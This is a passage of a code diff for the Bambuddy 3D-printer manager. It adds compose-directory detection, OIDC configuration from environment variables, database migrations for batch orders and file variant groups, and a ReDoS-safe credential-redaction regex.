+    creates — but reading your own labels requires the Docker socket, and
+    mounting that into Bambuddy would hand the container root-equivalent
+    access to the host in exchange for a convenience string. So we infer.
+
+    ``/proc/self/mountinfo`` exposes the *host* side of a bind mount in its
+    root field: a ``./data:/app/data`` line in the compose file surfaces as
+    ``/opt/bambuddy/data``, whose parent is the compose directory. The leaf
+    must match the mount point's own name before we take the parent —
+    ``/mnt/nas/prints:/app/data`` is a bind mount whose parent is emphatically
+    not a compose directory.
+
+    This is a guess and is treated as one — it only ever prefills the setting
+    the user can overwrite. The root field is relative to the *mounted device*
+    rather than to the host's ``/``, so a compose directory that sits under a
+    separate mount loses that mount's own prefix. Measured against real
+    containers: a compose file on the root filesystem (here a ZFS dataset
+    mounted at ``/``) came back exactly right, while one under ``/tmp`` — its
+    own tmpfs — inferred ``/claude-1001/...`` for ``/tmp/claude-1001/...``.
+    Nothing inside the container can tell the two apart, which is precisely
+    why the field is editable. The shipped compose file uses named volumes,
+    for which nothing is inferable at all.
+    """
+    try:
+        with open("/proc/self/mountinfo") as f:
+            lines = f.readlines()
+    except OSError:
+        return None
+
+    for line in lines:
+        parts = line.split()
+        # mountID parentID major:minor root mountPoint ...
+        if len(parts) < 5:
+            continue
+        root, mount_point = parts[3], parts[4]
+        if mount_point not in _COMPOSE_BIND_MOUNTPOINTS:
+            continue
+        if _DOCKER_NAMED_VOLUME_ROOT.search(root):
+            continue
+        parent, _, leaf = root.rstrip("/").rpartition("/")
+        if parent and leaf == mount_point.rsplit("/", 1)[-1]:
+            return parent
+    return None
+
+
+def _detect_compose_dir() -> str | None:
+    """Best-effort compose directory for the update instructions (#2664).
+
+    ``BAMBUDDY_COMPOSE_DIR`` wins when set — it is the only source that is
+    stated rather than inferred, and the shipped compose file carries a
+    commented ``${PWD}`` line for it.
+    """
+    env_dir = os.environ.get("BAMBUDDY_COMPOSE_DIR", "").strip()
+    if env_dir:
+        return env_dir
+    if not _is_docker_environment():
+        return None
+    return _compose_dir_from_mountinfo()
+
+
 def _is_ha_addon() -> bool:
     """Detect if running as a Home Assistant Supervisor addon.
 
@@ -527,6 +605,11 @@ async def check_for_updates(
                 "is_windows_installer": is_windows_installer,
                 "update_method": update_method,
                 "installer_download_url": installer_download_url,
+                # Prefill only — never the value the user saved. The settings
+                # response owns ``docker_compose_dir``; keeping the two apart
+                # means clearing the field falls back to the guess instead of
+                # resurrecting the cleared value from a stale update check.
+                "compose_dir_detected": _detect_compose_dir() if update_method == "docker" else None,
             }
 
     except httpx.HTTPError as e:

+ 6 - 0
backend/app/api/routes/virtual_printers.py

@@ -39,6 +39,7 @@ class VirtualPrinterCreate(BaseModel):
     target_printer_id: int | None = None
     auto_dispatch: bool = True
     queue_force_color_match: bool = False
+    save_ams_mapping: bool = False
     gcode_injection: bool = False
     bind_ip: str | None = None
     remote_interface_ip: str | None = None
@@ -53,6 +54,7 @@ class VirtualPrinterUpdate(BaseModel):
     target_printer_id: int | None = None
     auto_dispatch: bool | None = None
     queue_force_color_match: bool | None = None
+    save_ams_mapping: bool | None = None
     gcode_injection: bool | None = None
     bind_ip: str | None = None
     remote_interface_ip: str | None = None
@@ -109,6 +111,7 @@ async def _vp_to_dict(vp, db: AsyncSession, status: dict | None = None) -> dict:
         "target_printer_id": vp.target_printer_id,
         "auto_dispatch": vp.auto_dispatch,
         "queue_force_color_match": vp.queue_force_color_match,
+        "save_ams_mapping": vp.save_ams_mapping,
         "gcode_injection": vp.gcode_injection,
         "bind_ip": vp.bind_ip,
         "remote_interface_ip": vp.remote_interface_ip,
@@ -245,6 +248,7 @@ async def create_virtual_printer(
         target_printer_id=body.target_printer_id,
         auto_dispatch=body.auto_dispatch,
         queue_force_color_match=body.queue_force_color_match,
+        save_ams_mapping=body.save_ams_mapping,
         gcode_injection=body.gcode_injection,
         bind_ip=body.bind_ip,
         remote_interface_ip=body.remote_interface_ip,
@@ -423,6 +427,8 @@ async def update_virtual_printer(
         vp.auto_dispatch = body.auto_dispatch
     if body.queue_force_color_match is not None:
         vp.queue_force_color_match = body.queue_force_color_match
+    if body.save_ams_mapping is not None:
+        vp.save_ams_mapping = body.save_ams_mapping
     if body.gcode_injection is not None:
         vp.gcode_injection = body.gcode_injection
     if body.bind_ip is not None:

+ 19 - 0
backend/app/core/config.py

@@ -135,6 +135,25 @@ _INTENTIONAL_UNSETTINGS = {
     "LOG_DIR",  # config.py (above)
     "LOG_LEVEL",  # main.py logging setup
     "BUG_REPORT_RELAY_URL",  # config.py (above)
+    # #1589 — api/routes/auth.py reads this on the login path. Unregistered it
+    # logged "possible typo" at every boot, telling an operator who is locked
+    # out and following the documented recovery that the variable is not real.
+    "BAMBUDDY_LOCAL_LOGIN",
+    # #2593 — core/oidc_env.py reads these directly; they are not Settings
+    # fields because they map to an OIDCProvider row, not to app config.
+    "BAMBUDDY_OIDC_NAME",
+    "BAMBUDDY_OIDC_ISSUER_URL",
+    "BAMBUDDY_OIDC_CLIENT_ID",
+    "BAMBUDDY_OIDC_CLIENT_SECRET",
+    "BAMBUDDY_OIDC_SCOPES",
+    "BAMBUDDY_OIDC_ENABLED",
+    "BAMBUDDY_OIDC_AUTO_CREATE_USERS",
+    "BAMBUDDY_OIDC_AUTO_LINK_EXISTING",
+    "BAMBUDDY_OIDC_EMAIL_CLAIM",
+    "BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED",
+    "BAMBUDDY_OIDC_ICON_URL",
+    "BAMBUDDY_OIDC_AUTOLOGIN",
+    "BAMBUDDY_OIDC_DEFAULT_GROUP",
 }
 
 _known_settings_fields = {f.upper() for f in settings.model_fields}

+ 166 - 0
backend/app/core/database.py

@@ -280,6 +280,7 @@ async def init_db():
         print_log,
         print_queue,
         printer,
+        printer_ha_sensor,
         printer_sensor_history,
         project,
         project_bom,
@@ -1640,6 +1641,15 @@ async def run_migrations(conn):
             conn, "ALTER TABLE virtual_printers ADD COLUMN queue_force_color_match BOOLEAN DEFAULT FALSE"
         )
 
+    # Migration: Add save_ams_mapping column to virtual_printers. Opt-in flag:
+    # when true, VP queue-mode uploads persist the slicer's own AMS-slot pick
+    # onto the archive (`extra_data.slicer_ams_mapping`) for reuse on reprint.
+    # Default false to preserve current behaviour for upgraders.
+    if is_sqlite():
+        await _safe_execute(conn, "ALTER TABLE virtual_printers ADD COLUMN save_ams_mapping BOOLEAN DEFAULT 0")
+    else:
+        await _safe_execute(conn, "ALTER TABLE virtual_printers ADD COLUMN save_ams_mapping BOOLEAN DEFAULT FALSE")
+
     # Per-VP opt-in for auto-print G-code injection (#1516). Default false so
     # existing gcode_snippets users don't silently start injecting on VP/Studio
     # Send jobs after upgrading.
@@ -2916,6 +2926,29 @@ async def run_migrations(conn):
     except (OperationalError, ProgrammingError):
         pass
 
+    # Migration (#342): batch orders — planning metadata on print_batches. The
+    # per-plate target rows live in their own table, created by create_all().
+    await _safe_execute(
+        conn, "ALTER TABLE print_batches ADD COLUMN project_id INTEGER REFERENCES projects(id) ON DELETE SET NULL"
+    )
+    await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN notes TEXT")
+    if is_sqlite():
+        await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN due_date DATETIME")
+        await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN completed_at DATETIME")
+    else:
+        await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN due_date TIMESTAMP")
+        await _safe_execute(conn, "ALTER TABLE print_batches ADD COLUMN completed_at TIMESTAMP")
+
+    # Migration (#342): attribute a logged run to the queue item that produced
+    # it, so batch cost/energy can be summed without guessing from archive_id.
+    await _safe_execute(
+        conn,
+        "ALTER TABLE print_log_entries ADD COLUMN queue_item_id INTEGER REFERENCES print_queue(id) ON DELETE SET NULL",
+    )
+    await _safe_execute(
+        conn, "CREATE INDEX IF NOT EXISTS ix_print_log_entries_queue_item_id ON print_log_entries (queue_item_id)"
+    )
+
     # Migration: Shortest-job-first scheduling columns on print_queue
     await _safe_execute(conn, "ALTER TABLE print_queue ADD COLUMN print_time_seconds INTEGER")
     await _safe_execute(conn, "ALTER TABLE print_queue ADD COLUMN been_jumped BOOLEAN DEFAULT FALSE NOT NULL")
@@ -4161,6 +4194,14 @@ async def run_migrations(conn):
     else:
         await _safe_execute(conn, "ALTER TABLE oidc_providers ADD COLUMN is_autologin BOOLEAN DEFAULT false")
 
+    # Migration: Add is_env_managed column to oidc_providers (#2593). Marks the
+    # provider upserted from BAMBUDDY_OIDC_* env vars on startup. Postgres
+    # rejects ``DEFAULT 0`` for BOOLEAN columns.
+    if is_sqlite():
+        await _safe_execute(conn, "ALTER TABLE oidc_providers ADD COLUMN is_env_managed BOOLEAN DEFAULT 0")
+    else:
+        await _safe_execute(conn, "ALTER TABLE oidc_providers ADD COLUMN is_env_managed BOOLEAN DEFAULT false")
+
     # Migration: Add dispatch_attempts to print_queue (#2555). Counts the times
     # the start-watchdog reverted the row from 'printing' back to 'pending' so a
     # printer that never actually starts stops being retried forever. INTEGER
@@ -4294,6 +4335,131 @@ async def run_migrations(conn):
             conn, "ALTER TABLE notification_providers ADD COLUMN on_plate_clear_required BOOLEAN DEFAULT false"
         )
 
+    # Migration: variant grouping for library files (#671 / #2570). The
+    # `file_variant_groups` table itself needs no migration — create_all() above
+    # builds it — but the two member-side columns do. INTEGER and the inline
+    # REFERENCES clause are spelled identically on SQLite and Postgres, and
+    # SQLite accepts a REFERENCES on ADD COLUMN (same form as the
+    # pipeline_runs.parent_run_id migration at the top of this function).
+    await _safe_execute(
+        conn,
+        "ALTER TABLE library_files ADD COLUMN variant_group_id INTEGER "
+        "REFERENCES file_variant_groups(id) ON DELETE SET NULL",
+    )
+    await _safe_execute(conn, "ALTER TABLE library_files ADD COLUMN variant_position INTEGER DEFAULT 0")
+    # User-declared target model for a file whose 3MF does not say (#671).
+    # VARCHAR(50) is spelled identically on SQLite and Postgres.
+    await _safe_execute(conn, "ALTER TABLE library_files ADD COLUMN variant_target_model VARCHAR(50)")
+    # The model declares index=True, so fresh installs get this from create_all();
+    # migrated databases need it spelled out. Resolution looks members up by group
+    # on every scheduler pass that touches a grouped item.
+    await _safe_execute(
+        conn,
+        "CREATE INDEX IF NOT EXISTS ix_library_files_variant_group_id ON library_files (variant_group_id)",
+    )
+    await _migrate_backfill_variant_groups(conn)
+
+    # Migration: Home Assistant sensor alerts (#1148). The printer_ha_sensors
+    # table itself is new, so create_all() builds it; only the provider opt-in
+    # column needs adding to existing databases.
+    #
+    # DEFAULT FALSE, not DEFAULT 0: Postgres will not take an integer default
+    # for a boolean column, and _safe_execute swallows the DatatypeMismatchError
+    # — so the older "BOOLEAN DEFAULT 0" migrations above quietly do nothing on
+    # Postgres and only work there because create_all() builds the column on a
+    # fresh install. SQLite has understood FALSE since 3.23, so this spelling
+    # is the one that actually applies on both.
+    await _safe_execute(conn, "ALTER TABLE notification_providers ADD COLUMN on_ha_sensor_alert BOOLEAN DEFAULT FALSE")
+
+
+async def _migrate_backfill_variant_groups(conn) -> None:
+    """Build variant groups from the slice provenance already on disk (#671 / #2570).
+
+    ``sliced_from_library_file_id`` has been stamped into ``file_metadata`` by the
+    Slice button (routes/library.py) and the pipeline runner (routes/pipeline_runs.py)
+    since those features shipped, and until now nothing ever read it back — the
+    link existed but was inert. This promotes it to real group membership so an
+    existing library arrives with its slice sets already grouped instead of
+    requiring the user to re-declare by hand what Bambuddy itself recorded.
+
+    Only sources with **two or more** sliced children carrying **distinct**
+    ``sliced_for_model`` values produce a group:
+
+    - Fewer than two candidates is not a choice, and a one-member group would
+      change nothing at print time while creating a row per sliced file in every
+      library on earth.
+    - Two children sliced for the same printer are not alternatives — the
+      resolver has no basis to prefer one, so grouping them would turn a
+      harmless duplicate into an arbitrary pick. Those sources are skipped
+      whole; the user can still group them by hand and choose an order.
+
+    The unsliced source file is deliberately not a member. It has no
+    ``sliced_for_model``, so it can never be a dispatch candidate; showing it
+    alongside its variants is a File Manager listing concern, which is out of
+    scope.
+
+    Idempotent: only files with no group yet are considered, so a re-run after a
+    partial apply resumes rather than duplicating, and a user who has since
+    ungrouped files by hand does not get them silently regrouped.
+    """
+    from sqlalchemy import text
+
+    from backend.app.models.library import FileVariantGroup
+
+    if is_sqlite():
+        source_expr = "json_extract(file_metadata, '$.sliced_from_library_file_id')"
+        model_expr = "json_extract(file_metadata, '$.sliced_for_model')"
+    else:
+        # file_metadata is JSON, not JSONB — cast before using the -> operators,
+        # matching _migrate_drop_library_print_name above.
+        source_expr = "file_metadata::jsonb->>'sliced_from_library_file_id'"
+        model_expr = "file_metadata::jsonb->>'sliced_for_model'"
+
+    async with conn.begin_nested():
+        rows = (
+            await conn.execute(
+                text(
+                    f"SELECT id, {source_expr} AS source_id, {model_expr} AS model "  # noqa: S608 — dialect literals
+                    "FROM library_files "
+                    f"WHERE {source_expr} IS NOT NULL AND {model_expr} IS NOT NULL "
+                    "AND variant_group_id IS NULL AND deleted_at IS NULL "
+                    "ORDER BY id"
+                )
+            )
+        ).fetchall()
+
+        by_source: dict[str, list[tuple[int, str]]] = {}
+        for file_id, source_id, model in rows:
+            by_source.setdefault(str(source_id), []).append((file_id, str(model)))
+
+        for source_id, members in by_source.items():
+            if len(members) < 2:
+                continue
+            models = [m for _, m in members]
+            if len(set(models)) != len(models):
+                # Same printer sliced twice — ambiguous, leave it to the user.
+                continue
+
+            # Name the group after the source file when it is still around; its
+            # filename is what the user recognises. A deleted source leaves the
+            # variants perfectly usable, so fall back rather than skip.
+            name_row = (
+                await conn.execute(
+                    text("SELECT filename FROM library_files WHERE id = :sid"),
+                    {"sid": int(source_id)},
+                )
+            ).fetchone()
+            group_name = name_row[0] if name_row else f"{members[0][1]} + {len(members) - 1} more"
+
+            result = await conn.execute(FileVariantGroup.__table__.insert().values(name=group_name))
+            group_id = result.inserted_primary_key[0]
+
+            for position, (file_id, _model) in enumerate(members):
+                await conn.execute(
+                    text("UPDATE library_files SET variant_group_id = :gid, variant_position = :pos WHERE id = :fid"),
+                    {"gid": group_id, "pos": position, "fid": file_id},
+                )
+
 
 _USER_PRINT_TEMPLATE_RENAMES: tuple[tuple[str, str, str], ...] = (
     ("user_print_start", "User Print Started", "User Print Started Email"),

+ 14 - 1
backend/app/core/logging_filters.py

@@ -27,7 +27,20 @@ import re
 # external camera URL) from leaving its tail in the log. Named groups let
 # callers choose how much to mask: the log pipeline keeps the username, the
 # support-bundle sanitizer drops it (see ``log_reader.sanitize_log_content``).
-URL_CREDENTIALS_PATTERN = re.compile(r"(?P<scheme>[a-zA-Z][a-zA-Z0-9+.\-]*://)(?P<user>[^/:@\s]+):(?P<secret>[^/\s]+)@")
+#
+# The scheme's repetition is bounded deliberately. As an unbounded ``*`` the
+# match was quadratic in the length of the subject (CodeQL py/polynomial-redos):
+# on a long run of scheme-legal characters the engine restarts at every offset
+# and consumes to the end each time before failing to find ``://``. Measured at
+# 557ms for a 32KB line, quadrupling per doubling. ffmpeg echoes the operator's
+# camera URL back in its stderr, and that whole string reaches this pattern
+# before any truncation, so the subject length is attacker-influenced. A cap
+# makes the work per offset constant. 63 is far above any real scheme (the
+# longest registered one is under 20 characters), and a longer pseudo-scheme
+# still gets its secret masked — the match simply starts from a later offset.
+URL_CREDENTIALS_PATTERN = re.compile(
+    r"(?P<scheme>[a-zA-Z][a-zA-Z0-9+.\-]{0,63}://)(?P<user>[^/:@\s]+):(?P<secret>[^/\s]+)@"
+)
 
 
 def redact_url_credentials(text: str | None) -> str | None:

+ 278 - 0
backend/app/core/oidc_env.py

@@ -0,0 +1,278 @@
+"""Read the single OIDC provider defined by BAMBUDDY_OIDC_* env vars (#2593).
+
+A declarative deployment (compose, Helm, GitOps) has no way to click through
+the settings UI, so one provider can be configured entirely from the
+environment. This module only reads and defaults; validity is decided by the
+same OIDCProviderCreate schema the API uses, so env config cannot bypass a
+check the UI enforces.
+"""
+
+from __future__ import annotations
+
+import contextlib
+import logging
+import os
+
+from pydantic import ValidationError
+from sqlalchemy import select, update
+from sqlalchemy.ext.asyncio import AsyncSession
+
+logger = logging.getLogger(__name__)
+
+# All four or nothing: a provider missing its secret would be written to the
+# database and then fail at authorize time, long after the operator could
+# connect the failure to a typo in their compose file.
+_REQUIRED = (
+    "BAMBUDDY_OIDC_NAME",
+    "BAMBUDDY_OIDC_ISSUER_URL",
+    "BAMBUDDY_OIDC_CLIENT_ID",
+    "BAMBUDDY_OIDC_CLIENT_SECRET",
+)
+
+_TRUTHY = {"true", "1", "yes"}
+_FALSY = {"false", "0", "no"}
+
+
+class EnvOIDCConfigError(Exception):
+    """A BAMBUDDY_OIDC_* value the reader cannot interpret. Only ever carries a
+    boolean variable's name and value -- booleans are not secret, so the message
+    is safe to log in full (unlike client_secret, which never reaches here)."""
+
+
+def env_bool(key: str, default: bool, *, strict: bool = True) -> bool:
+    """Parse a boolean env var. Absent or blank -> default (empty == unset).
+
+    strict (the default): an unrecognized non-empty value raises
+    EnvOIDCConfigError, so a typo is refused loudly rather than silently read as
+    the wrong thing. strict=False: an unrecognized value falls back to the
+    default instead -- for a caller on a request path where a raise would be a
+    500, not a skipped startup config (see _local_login_env_bypass).
+    """
+    value = os.environ.get(key)
+    if value is None or value.strip() == "":
+        return default  # absent or blank == unset -> default, per the module's promise
+    norm = value.strip().lower()
+    if norm in _TRUTHY:
+        return True
+    if norm in _FALSY:
+        return False
+    if strict:
+        raise EnvOIDCConfigError(f"{key}={value!r} is not a recognized boolean (use true/1/yes or false/0/no)")
+    return default
+
+
+def read_env_oidc_config() -> dict | None:
+    """The provider's fields from the environment, or None if it isn't configured.
+
+    An empty required var counts as unset -- `BAMBUDDY_OIDC_CLIENT_SECRET=` in
+    a compose file is a forgotten value, not an intentional empty secret. Blank
+    means blank *after* stripping, and the surviving value is stripped too: a
+    Kubernetes Secret written as a block scalar (``stringData: secret: |``) or
+    created from a file carries a trailing newline that nothing downstream
+    rejects -- max_length is the only bound the schema puts on these four. An
+    issuer_url with a trailing newline is stored and enabled, and then fails
+    with httpx.InvalidURL on the first click of the SSO button, which is the
+    authorize-time failure the all-or-nothing rule above exists to prevent.
+    """
+    required = {key: (os.environ.get(key) or "").strip() for key in _REQUIRED}
+    if not all(required.values()):
+        return None
+
+    return {
+        "name": required["BAMBUDDY_OIDC_NAME"],
+        "issuer_url": required["BAMBUDDY_OIDC_ISSUER_URL"],
+        "client_id": required["BAMBUDDY_OIDC_CLIENT_ID"],
+        "client_secret": required["BAMBUDDY_OIDC_CLIENT_SECRET"],
+        "scopes": (os.environ.get("BAMBUDDY_OIDC_SCOPES") or "").strip() or "openid email profile",
+        "is_enabled": env_bool("BAMBUDDY_OIDC_ENABLED", True),
+        "auto_create_users": env_bool("BAMBUDDY_OIDC_AUTO_CREATE_USERS", False),
+        "auto_link_existing_accounts": env_bool("BAMBUDDY_OIDC_AUTO_LINK_EXISTING", False),
+        "email_claim": (os.environ.get("BAMBUDDY_OIDC_EMAIL_CLAIM") or "").strip() or "email",
+        "require_email_verified": env_bool("BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED", True),
+        "icon_url": (os.environ.get("BAMBUDDY_OIDC_ICON_URL") or "").strip() or None,
+        "is_autologin": env_bool("BAMBUDDY_OIDC_AUTOLOGIN", False),
+        # A name, not an id: ids are assigned per install, so the same compose
+        # file would point at a different group on every deployment. Resolved
+        # against the database in apply_env_oidc_provider -- the reader has no
+        # session and stays dumb.
+        "default_group": (os.environ.get("BAMBUDDY_OIDC_DEFAULT_GROUP") or "").strip() or None,
+    }
+
+
+# Everything the schema validates and the model stores, except client_secret --
+# that one goes through the property so it is encrypted at rest.
+_APPLIED_FIELDS = (
+    "name",
+    "issuer_url",
+    "client_id",
+    "scopes",
+    "is_enabled",
+    "auto_create_users",
+    "auto_link_existing_accounts",
+    "email_claim",
+    "require_email_verified",
+    "icon_url",
+    "is_autologin",
+    # Written on every boot, so a group that is no longer declared is cleared:
+    # the environment is the whole truth for this row, and the API lock means
+    # a lingering value could not be removed in the UI either.
+    "default_group_id",
+)
+
+
+async def apply_env_oidc_provider(db: AsyncSession) -> None:
+    """Upsert the env-managed provider, or release it when the config is gone.
+
+    Never raises: this runs during startup, and a typo in one variable -- or a
+    DB error on commit -- must not stop the app from booting. A rejected
+    config is logged and skipped.
+    """
+    try:
+        await _apply_env_oidc_provider(db)
+    except Exception as exc:  # noqa: BLE001 -- startup must survive any failure here
+        # Never str(exc): a DB error message can echo a configured value. Class only.
+        logger.error("BAMBUDDY_OIDC_* could not be applied: %s", type(exc).__name__)
+        # A commit may have half-applied; roll back so the shared session is
+        # left clean for the rest of startup. Suppressed because rollback on a
+        # wedged connection can itself raise -- and the whole point here is that
+        # nothing in this path takes the boot down. The session is discarded by
+        # the caller's `async with` regardless.
+        with contextlib.suppress(Exception):
+            await db.rollback()
+
+
+async def _apply_env_oidc_provider(db: AsyncSession) -> None:
+    # Imported here rather than at module scope: app.core is imported by the
+    # models themselves, so a top-level import would be a cycle.
+    from backend.app.models.group import Group
+    from backend.app.models.oidc_provider import OIDCProvider
+    from backend.app.schemas.auth import OIDCProviderCreate
+
+    try:
+        config = read_env_oidc_config()
+    except EnvOIDCConfigError as exc:
+        # Same disposition as a ValidationError or an unmatched DEFAULT_GROUP:
+        # log clearly and leave any running provider as it was. Safe to log the
+        # full message -- EnvOIDCConfigError only ever carries a boolean var.
+        logger.error("BAMBUDDY_OIDC_* config rejected, provider not applied: %s", exc)
+        return
+
+    if config is None:
+        # Nothing to look up by name any more, so the previously managed rows are
+        # found by the flag -- and then released. All of them: the upsert's sweep
+        # should keep that at one, but scalar_one_or_none() would raise
+        # MultipleResultsFound out of the lifespan the moment it isn't, and
+        # losing the boot is too steep a price for an invariant check.
+        released_rows = (
+            (await db.execute(select(OIDCProvider).where(OIDCProvider.is_env_managed.is_(True)))).scalars().all()
+        )
+        for released in released_rows:
+            # Disabled, never deleted: user_oidc_links.provider_id is FK ON
+            # DELETE CASCADE, so removing the row would unlink every bound
+            # account and the links would not come back when the variables do.
+            # The flag is cleared as well: with no config behind it, a provider
+            # the API still refuses to edit or delete would be a dead end
+            # reachable only through the database.
+            released.is_enabled = False
+            released.is_env_managed = False
+            # Cleared too, or the released row keeps a latent autologin claim:
+            # update_oidc_provider only re-runs the exclusivity sweep when a
+            # request sets is_autologin=True, so re-enabling this row in the UI
+            # would silently make it the autologin target again.
+            released.is_autologin = False
+            logger.info(
+                "BAMBUDDY_OIDC_* is unset -- provider %r disabled and released to the UI.",
+                released.name,
+            )
+        if released_rows:
+            await db.commit()
+        return
+
+    # Identity is the name, which is unique on the table. Matching on the flag
+    # instead meant an operator who named the env provider after one that
+    # already existed hit that unique constraint during startup -- and this
+    # function runs in the lifespan, so the app would not boot.
+    existing = (await db.execute(select(OIDCProvider).where(OIDCProvider.name == config["name"]))).scalar_one_or_none()
+
+    # Resolved before anything is written, so a name that matches no group
+    # leaves the running provider untouched. Refused rather than defaulted:
+    # falling back would put every auto-created user in Viewers (routes/mfa.py)
+    # for as long as the typo lives, and the API answers 422 for a
+    # default_group_id that does not exist -- env config gets the same answer.
+    group_name = config.pop("default_group", None)
+    if group_name is not None:
+        group = (await db.execute(select(Group).where(Group.name == group_name))).scalar_one_or_none()
+        if group is None:
+            # Spelled out because the two cases differ sharply: an existing
+            # provider keeps running on its last good config, while on a first
+            # boot nothing is created at all and the login page has no SSO
+            # button until the name matches.
+            logger.error(
+                "BAMBUDDY_OIDC_DEFAULT_GROUP=%r matches no group, provider not applied (%s).",
+                group_name,
+                "previous config left running" if existing is not None else "no provider created",
+            )
+            return
+        config["default_group_id"] = group.id
+
+    try:
+        # The same schema the API uses, so env config cannot reach a state the
+        # UI would have refused (notably the SEC-1 auto-link check).
+        validated = OIDCProviderCreate(**config)
+    except ValidationError as exc:
+        # errors(include_input=False) strips the submitted values -- str(exc)
+        # embeds input_value=... and would leak BAMBUDDY_OIDC_CLIENT_SECRET.
+        logger.error(
+            "BAMBUDDY_OIDC_* config rejected, provider not applied: %s",
+            exc.errors(include_input=False),
+        )
+        return
+    except Exception as exc:  # noqa: BLE001 -- any rejection must be survivable
+        # Log only the exception class, never str(exc): an unexpected error here
+        # could carry a configured value in its message. Structural guarantee,
+        # not one contingent on which exceptions the schema validators raise.
+        logger.error("BAMBUDDY_OIDC_* config could not be applied: %s", type(exc).__name__)
+        return
+
+    # Computed before `existing` is reassigned below: a freshly-created row is
+    # not an adoption, and a found row that was already env-managed is a
+    # routine re-apply -- only a found row that the UI created is an adoption.
+    adopted_ui_provider = existing is not None and not existing.is_env_managed
+
+    if existing is None:
+        existing = OIDCProvider(is_env_managed=True)
+        db.add(existing)
+    for field in _APPLIED_FIELDS:
+        setattr(existing, field, getattr(validated, field))
+    existing.client_secret = validated.client_secret
+    existing.is_env_managed = True
+    await db.flush()  # the id is needed by the sweeps below
+
+    # Renaming BAMBUDDY_OIDC_NAME matches nothing, so the row managed until now
+    # stays behind. Left flagged it would keep a stale issuer and secret on the
+    # login page while the API refuses every edit, disable and delete on it
+    # (409) -- the dead end reachable only through the database that the release
+    # path exists to prevent -- and the next release would find two rows and
+    # take the boot down with MultipleResultsFound. Released, not deleted, for
+    # the same cascade reason as everywhere else.
+    await db.execute(
+        update(OIDCProvider)
+        .where(OIDCProvider.id != existing.id, OIDCProvider.is_env_managed.is_(True))
+        .values(is_env_managed=False, is_enabled=False, is_autologin=False)
+    )
+
+    if existing.is_autologin:
+        await db.execute(
+            update(OIDCProvider)
+            .where(OIDCProvider.id != existing.id, OIDCProvider.is_autologin.is_(True))
+            .values(is_autologin=False)
+        )
+    await db.commit()
+    if adopted_ui_provider:
+        logger.warning(
+            "Env-managed OIDC provider %r adopted an existing UI-created provider of the "
+            "same name; its issuer, client and secret are now managed by BAMBUDDY_OIDC_*.",
+            existing.name,
+        )
+    else:
+        logger.info("Env-managed OIDC provider %r applied.", existing.name)

+ 78 - 2
backend/app/main.py

@@ -34,12 +34,14 @@ from backend.app.api.routes import (
     firmware,
     github_backup,
     groups,
+    ha_sensors,
     inventory,
     kprofiles,
     labels,
     library,
     library_tags,
     library_trash,
+    library_variants,
     local_backup,
     local_presets,
     maintenance,
@@ -96,6 +98,7 @@ from backend.app.services.bambu_ftp import (
 )
 from backend.app.services.bambu_mqtt import PrinterState
 from backend.app.services.github_backup import github_backup_service
+from backend.app.services.ha_sensor_manager import ha_sensor_manager
 from backend.app.services.homeassistant import homeassistant_service
 from backend.app.services.library_trash import library_trash_service
 from backend.app.services.local_backup import local_backup_service
@@ -1334,9 +1337,29 @@ async def on_printer_status_change(printer_id: int, state: PrinterState):
     # Include AMS dry_time and tray state values so drying/slot changes trigger broadcasts
     ams_dry_key = tuple(a.get("dry_time", 0) for a in (state.raw_data.get("ams") or [])) if state.raw_data else ()
     # Include tray states so load/unload transitions (state 11→10) trigger broadcasts (#784)
+    #
+    # The filament identity fields are here because Configure Slot writes
+    # exactly those and nothing else. Re-configuring a slot from PLA to another
+    # brand or colour of PLA leaves id/tray_type/state identical, so the key
+    # matched, this function returned before broadcasting, and the card kept
+    # showing the old filament until the 30s fallback poll or a page reload —
+    # even though the configure route asks the printer for a fresh pushall and
+    # that push does carry the new values. Reset always worked, because it
+    # clears tray_type.
+    #
+    # These fields only change when someone configures a slot or swaps a spool,
+    # so unlike temperature or progress they add no broadcast traffic mid-print.
     ams_tray_key = (
         tuple(
-            (t.get("id"), t.get("tray_type", ""), t.get("state"))
+            (
+                t.get("id"),
+                t.get("tray_type", ""),
+                t.get("state"),
+                t.get("tray_color", ""),
+                t.get("tray_info_idx", ""),
+                t.get("tray_sub_brands", ""),
+                t.get("cali_idx"),
+            )
             for a in (state.raw_data.get("ams") or [])
             for t in a.get("tray", [])
         )
@@ -5166,6 +5189,18 @@ async def on_print_complete(printer_id: int, data: dict):
         # Post-commit side effects (notifications, MQTT relay, auto-off) use
         # their own sessions and have their own error handling — no retry needed.
         if queue_item_id is not None:
+            # Batch orders (#342): this run may have been the last one an order
+            # owed. Re-evaluate here rather than lazily on read, so a finished
+            # order reports itself complete without someone opening the page.
+            try:
+                from backend.app.services.print_batch import refresh_batch_status_for_item
+
+                async with async_session() as db:
+                    await refresh_batch_status_for_item(db, queue_item_id)
+                    await db.commit()
+            except Exception as e:
+                logger.warning("[BATCH] Failed to refresh batch status for queue item %s: %s", queue_item_id, e)
+
             # MQTT relay - publish queue job completed
             try:
                 printer_info = printer_manager.get_printer(printer_id)
@@ -5598,6 +5633,10 @@ async def on_print_complete(printer_id: int, data: dict):
                 await write_log_entry(
                     db,
                     archive_id=archive.id,
+                    # Captured by _update_queue_status above; None for
+                    # printer-initiated prints with no queue row. Batch
+                    # cost/energy roll-up joins on it (#342).
+                    queue_item_id=queue_item_id,
                     status=_run_status,
                     print_name=archive.print_name,
                     printer_name=p_info.name if p_info else None,
@@ -7159,6 +7198,25 @@ async def lifespan(app: FastAPI):
 
     await init_db()
 
+    # After migrations, so the is_env_managed column exists. Never raises --
+    # a bad BAMBUDDY_OIDC_* value is logged and skipped rather than blocking
+    # startup (see apply_env_oidc_provider).
+    from backend.app.core.oidc_env import apply_env_oidc_provider
+
+    async with async_session() as oidc_db:
+        await apply_env_oidc_provider(oidc_db)
+
+    # Close out batches that finished before `completed` was a reachable status
+    # (#342). Without this the Batches tab opens on every batch created since
+    # the feature shipped, all still marked active. Never blocks startup.
+    try:
+        from backend.app.services.print_batch import backfill_batch_statuses
+
+        async with async_session() as batch_db:
+            await backfill_batch_statuses(batch_db)
+    except Exception as exc:
+        logging.warning("[BATCH] Startup status backfill failed: %s", exc)
+
     # Register an app-scoped httpx client for Bambu Cloud services so
     # per-request BambuCloudService instances reuse the same connection pool
     # (important for routes like /cloud/filament-info that chain many
